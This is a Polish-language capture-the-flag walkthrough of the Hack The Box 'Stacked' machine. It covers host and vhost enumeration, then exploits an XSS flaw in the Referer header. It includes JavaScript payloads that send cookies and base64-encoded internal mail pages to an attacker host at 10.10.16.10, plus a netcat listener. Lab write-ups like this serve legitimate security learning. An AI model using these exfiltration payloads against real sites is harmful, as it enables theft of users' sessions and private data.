HTB Stacked: XSS i Docker ucieczka walkthrough

Ucieczka z kontenera Docker poprzez XSS i RCE na HTB Stacked

Skanowanie hosta 10.129.228.28 za pomocą nmap ujawniło otwarte porty: 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41) i 2376 (demon Docker z TLS). Na porcie 80 dostępna jest domena stacked.htb po dodaniu wpisu do /etc/hosts. Strona główna zawiera pole na adres e-mail bez widocznego ruchu sieciowego przy wysyłaniu.

Przeszukiwanie katalogów za pomocą gobuster z common.txt nie przyniosło rezultatów. Przejście do enumeracji hostów wirtualnych ffuf ujawniło subdomains-top1million-5000.txt z filtrem słów (-fw 18) — znaleziono portfolio.stacked.htb.

gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18

Analiza portfolio.stacked.htb i LocalStack

Strona portfolio.stacked.htb opisuje firmę Stacked, która używa LocalStack — lokalnego emulatora usług AWS w kontenerach Docker. Dostępny jest docker-compose.yml z przekierowanymi portami:

• 443 (HTTPS)
• 4566 (API LocalStack)
• 4571 (prawdopodobnie Elasticsearch)
• 8080 (Interfejs webowy)

wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up

Na dole strony podany jest rok utworzenia — potencjalny punkt zaczepienia do dalszej eksploatacji.

Wykrycie i wykorzystanie XSS

Formularz przesyłania danych osobowych na portfolio.stacked.htb odzwierciedla znaczniki HTML z komunikatem "xss detected!". Bezpośrednie wstrzyknięcie w treść żądania do /process.php nie działa nawet z podwójnym kodowaniem URL.

Testowanie nagłówków (User-Agent, Origin, Referer) wykazało podatność w Referer. Payload <script src="http://10.10.16.10/test.js"></script> został pomyślnie wykonany:

let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();

Ciasteczka są chronione przez HttpOnly. Zmiana na document.location ujawniła origin: http://mail.stacked.htb/read-mail.php?id=2.

Atak CSRF poprzez XSS dla dostępu do mail.stacked.htb

Nowy subdomena mail.stacked.htb przekierowuje zewnętrzne żądania. Przez XSS ofiary implementujemy proxy:

• Wstrzykujemy <script src="http://10.10.16.10/exploit.js"></script>.
• Skrypt żąda wewnętrznej strony, koduje w base64 i wysyła do attacker:9001.

let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
    if (this.readyState == 4){
        data = btoa(req1.response);
        let req2 = new XMLHttpRequest();
        req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
        req2.send();
    }
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();

nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html

Skrzynka odbiorcza zawiera wiadomość od Jeremy'ego Tainta o uruchomieniu instancji S3 (id=1). CSS/obrazy nie ładują się z powodu ograniczeń sieciowych.

Co jest ważne

• XSS w nagłówku Referer prowadzi do wykonania JS w kontekście ofiary.
• Proxy base64 przez XMLHttpRequest omija ograniczenia sieciowe Dockera.
• LocalStack docker-compose ujawnia wewnętrzne porty i architekturę.
• Enumeracja vhost'ów jest kluczowa przy nieudanym dirbustingu.
• Filtr ffuf po słowach (-fw) rozwiązuje problem dynamicznej zawartości błędów.

— Editorial Team